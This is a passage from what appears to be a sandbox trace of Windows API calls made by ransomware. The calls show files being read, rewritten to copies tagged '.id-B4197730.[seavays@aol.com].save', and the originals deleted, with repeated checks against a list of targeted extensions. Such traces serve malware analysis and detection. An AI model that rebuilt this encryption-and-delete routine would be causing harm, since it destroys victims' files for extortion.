(lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0050.411] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=40) returned 1 [0050.411] CloseHandle (hObject=0x2ec) returned 1 [0050.411] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20 [0050.411] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.412] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0050.412] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.412] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.412] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0050.412] GetLastError () returned 0x0 [0050.412] ReadFile (in: hFile=0x2ec, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x28, lpOverlapped=0x0) returned 1 [0050.426] WriteFile (in: hFile=0x2f0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x30, lpOverlapped=0x0) returned 1 [0050.426] ReadFile (in: hFile=0x2ec, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.427] WriteFile (in: hFile=0x2f0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x110, lpOverlapped=0x0) returned 1 [0050.427] SetEndOfFile (hFile=0x2f0) returned 1 [0050.427] CloseHandle (hObject=0x2f0) returned 1 [0050.429] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.429] SetEndOfFile (hFile=0x2ec) returned 1 [0050.429] CloseHandle (hObject=0x2ec) returned 1 [0050.430] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0050.430] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 1 [0050.430] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0050.430] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0050.430] lstrlenW (lpString=".doc") returned 4 [0050.430] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0050.430] lstrlenW (lpString=".docx") returned 5 [0050.430] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1 [0050.430] lstrlenW (lpString=".pdf") returned 4 [0050.430] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0050.430] lstrlenW (lpString=".xls") returned 4 [0050.430] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0050.430] lstrlenW (lpString=".xlsx") returned 5 [0050.430] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1 [0050.430] lstrlenW (lpString=".ppt") returned 4 [0050.430] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0050.431] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0050.431] lstrlenW (lpString=".zip") returned 4 [0050.431] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0050.431] lstrlenW (lpString=".rar") returned 4 [0050.431] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0050.431] lstrlenW (lpString=".bz2") returned 4 [0050.431] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0050.431] lstrlenW (lpString=".7z") returned 3 [0050.431] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0050.431] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0050.431] lstrlenW (lpString=".dbf") returned 4 [0050.431] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0050.431] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0050.431] lstrlenW (lpString=".1cd") returned 4 [0050.431] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0050.431] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0050.431] lstrlenW (lpString=".jpg") returned 4 [0050.431] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0050.431] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0050.431] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0050.431] lstrlenW (lpString=".doc") returned 4 [0050.431] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0050.431] lstrlenW (lpString=".docx") returned 5 [0050.431] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1 [0050.431] lstrlenW (lpString=".pdf") returned 4 [0050.431] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0050.431] lstrlenW (lpString=".xls") returned 4 [0050.431] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0050.431] lstrlenW (lpString=".xlsx") returned 5 [0050.431] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1 [0050.431] lstrlenW (lpString=".ppt") returned 4 [0050.431] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0050.431] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0050.432] lstrlenW (lpString=".zip") returned 4 [0050.432] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0050.432] lstrlenW (lpString=".rar") returned 4 [0050.432] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0050.432] lstrlenW (lpString=".bz2") returned 4 [0050.432] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0050.432] lstrlenW (lpString=".7z") returned 3 [0050.432] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0050.432] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0050.432] lstrlenW (lpString=".dbf") returned 4 [0050.432] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0050.432] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0050.432] lstrlenW (lpString=".1cd") returned 4 [0050.432] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0050.432] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0050.432] lstrlenW (lpString=".jpg") returned 4 [0050.432] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0050.432] lstrcmpiW (lpString1=".ini", lpString2=".save") returned -1 [0050.432] lstrlenW (lpString="GetCurrentRollback.ini") returned 22 [0050.432] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0050.444] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=156) returned 1 [0050.444] CloseHandle (hObject=0x2ec) returned 1 [0050.444] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20 [0050.444] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.444] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0050.445] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.445] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.445] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0050.445] GetLastError () returned 0x0 [0050.445] ReadFile (in: hFile=0x2ec, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x9c, lpOverlapped=0x0) returned 1 [0050.748] WriteFile (in: hFile=0x2f0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xa0, lpOverlapped=0x0) returned 1 [0050.749] ReadFile (in: hFile=0x2ec, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.749] WriteFile (in: hFile=0x2f0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x100, lpOverlapped=0x0) returned 1 [0050.749] SetEndOfFile (hFile=0x2f0) returned 1 [0050.750] CloseHandle (hObject=0x2f0) returned 1 [0050.750] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.750] SetEndOfFile (hFile=0x2ec) returned 1 [0050.752] CloseHandle (hObject=0x2ec) returned 1 [0050.752] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0050.752] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 1 [0051.195] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0051.195] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0051.195] lstrlenW (lpString=".doc") returned 4 [0051.195] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0051.195] lstrlenW (lpString=".docx") returned 5 [0051.195] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0051.195] lstrlenW (lpString=".pdf") returned 4 [0051.195] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0051.195] lstrlenW (lpString=".xls") returned 4 [0051.195] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0051.195] lstrlenW (lpString=".xlsx") returned 5 [0051.195] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1 [0051.195] lstrlenW (lpString=".ppt") returned 4 [0051.195] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0051.195] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0051.195] lstrlenW (lpString=".zip") returned 4 [0051.195] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0051.195] lstrlenW (lpString=".rar") returned 4 [0051.195] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0051.195] lstrlenW (lpString=".bz2") returned 4 [0051.195] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0051.195] lstrlenW (lpString=".7z") returned 3 [0051.195] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0051.195] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0051.195] lstrlenW (lpString=".dbf") returned 4 [0051.195] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0051.195] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0051.195] lstrlenW (lpString=".1cd") returned 4 [0051.195] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0051.195] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0051.195] lstrlenW (lpString=".jpg") returned 4 [0051.195] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0051.196] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0051.196] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0051.196] lstrlenW (lpString=".doc") returned 4 [0051.196] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0051.196] lstrlenW (lpString=".docx") returned 5 [0051.196] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0051.196] lstrlenW (lpString=".pdf") returned 4 [0051.196] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0051.196] lstrlenW (lpString=".xls") returned 4 [0051.196] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0051.196] lstrlenW (lpString=".xlsx") returned 5 [0051.196] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1 [0051.196] lstrlenW (lpString=".ppt") returned 4 [0051.196] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0051.196] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0051.196] lstrlenW (lpString=".zip") returned 4 [0051.196] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0051.196] lstrlenW (lpString=".rar") returned 4 [0051.196] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0051.196] lstrlenW (lpString=".bz2") returned 4 [0051.196] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0051.196] lstrlenW (lpString=".7z") returned 3 [0051.196] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0051.196] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0051.196] lstrlenW (lpString=".dbf") returned 4 [0051.196] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0051.196] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0051.196] lstrlenW (lpString=".1cd") returned 4 [0051.196] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0051.196] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0051.196] lstrlenW (lpString=".jpg") returned 4 [0051.196] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0051.197] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0051.197] lstrlenW (lpString="eula.rtf") returned 8 [0051.197] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0051.200] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=6309) returned 1 [0051.200] CloseHandle (hObject=0x2cc) returned 1 [0051.200] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80 [0051.200] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0051.200] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0051.200] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.200] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.201] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0051.201] GetLastError () returned 0x0 [0051.201] ReadFile (in: hFile=0x2cc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x18a5, lpOverlapped=0x0) returned 1 [0051.210] WriteFile (in: hFile=0x300, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x18b0, lpOverlapped=0x0) returned 1 [0051.211] ReadFile (in: hFile=0x2cc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.211] WriteFile (in: hFile=0x300, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xe4, lpOverlapped=0x0) returned 1 [0051.211] SetEndOfFile (hFile=0x300) returned 1 [0051.211] CloseHandle (hObject=0x300) returned 1 [0051.212] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.212] SetEndOfFile (hFile=0x2cc) returned 1 [0051.213] CloseHandle (hObject=0x2cc) returned 1 [0051.213] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0051.213] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 1 [0051.213] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0051.213] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0051.214] lstrlenW (lpString=".doc") returned 4 [0051.214] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0051.214] lstrlenW (lpString=".docx") returned 5 [0051.214] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0051.214] lstrlenW (lpString=".pdf") returned 4 [0051.214] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0051.214] lstrlenW (lpString=".xls") returned 4 [0051.214] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0051.214] lstrlenW (lpString=".xlsx") returned 5 [0051.214] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0051.214] lstrlenW (lpString=".ppt") returned 4 [0051.214] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0051.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0051.214] lstrlenW (lpString=".zip") returned 4 [0051.214] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0051.214] lstrlenW (lpString=".rar") returned 4 [0051.214] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0051.214] lstrlenW (lpString=".bz2") returned 4 [0051.214] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0051.214] lstrlenW (lpString=".7z") returned 3 [0051.214] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0051.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0051.214] lstrlenW (lpString=".dbf") returned 4 [0051.214] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0051.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0051.214] lstrlenW (lpString=".1cd") returned 4 [0051.214] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0051.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0051.214] lstrlenW (lpString=".jpg") returned 4 [0051.214] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0051.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0051.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0051.215] lstrlenW (lpString=".doc") returned 4 [0051.215] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0051.215] lstrlenW (lpString=".docx") returned 5 [0051.215] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0051.215] lstrlenW (lpString=".pdf") returned 4 [0051.215] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0051.215] lstrlenW (lpString=".xls") returned 4 [0051.215] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0051.215] lstrlenW (lpString=".xlsx") returned 5 [0051.215] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0051.215] lstrlenW (lpString=".ppt") returned 4 [0051.215] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0051.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0051.215] lstrlenW (lpString=".zip") returned 4 [0051.215] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0051.215] lstrlenW (lpString=".rar") returned 4 [0051.215] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0051.215] lstrlenW (lpString=".bz2") returned 4 [0051.215] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0051.215] lstrlenW (lpString=".7z") returned 3 [0051.215] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0051.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0051.215] lstrlenW (lpString=".dbf") returned 4 [0051.215] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0051.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0051.215] lstrlenW (lpString=".1cd") returned 4 [0051.215] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0051.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0051.215] lstrlenW (lpString=".jpg") returned 4 [0051.215] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0051.215] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0051.216] lstrlenW (lpString="LocalizedData.xml") returned 17 [0051.216] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0051.216] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=60816) returned 1 [0051.216] CloseHandle (hObject=0x2cc) returned 1 [0051.216] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80 [0051.216] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0051.216] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0051.216] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.216] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.216] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0051.216] GetLastError () returned 0x0 [0051.216] ReadFile (in: hFile=0x2cc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xed90, lpOverlapped=0x0) returned 1 [0051.220] WriteFile (in: hFile=0x300, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xeda0, lpOverlapped=0x0) returned 1 [0051.222] ReadFile (in: hFile=0x2cc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, 